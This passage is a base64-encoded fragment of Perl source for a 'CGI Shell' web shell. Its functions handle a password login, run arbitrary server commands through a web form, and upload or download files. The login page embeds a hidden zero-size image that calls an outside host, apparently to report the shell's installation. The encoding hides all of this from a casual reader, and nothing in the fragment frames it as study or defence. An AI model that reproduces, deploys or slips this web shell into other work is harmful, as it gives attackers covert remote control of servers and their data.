kJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+Q0dJIFNoZWxsPC90aXRsZT4NCiRIdG1sTWV0YUhlYWRlcg0KDQoNCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRjAwMDAiPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0KPHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPjxiPiANCjxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrIj5DR0kgU2hlbGw8L2I+IENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0ZGRkZGRiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlVwbG9hZCBGaWxlPC9mb250PjwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RG93bmxvYWQgRmlsZTwvZm9udD48L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkRpc2Nvbm5lY3Q8L2ZvbnQ+PC9hPiB8DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgc2l6ZT0iMyI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCgkkTWVzc2FnZSA9IHEkPC9mb250PjxoMT4NCkNHSSBTaGVsIH4gSmlqbGUzDQo8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxuZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8L2ZvbnQ+DQo8Zm9udCBzaXplPSIzIj4NCmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij48L2I+PGJyPg0KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQoNCjxjb2RlPg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLg0KPGJyPktpbGxlZCBpdCENCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZCI7DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQgIiRQcm9tcHQgJFJ1bkNvbW1hbmQ8eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRfXG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdpbk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KRU5EDQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkN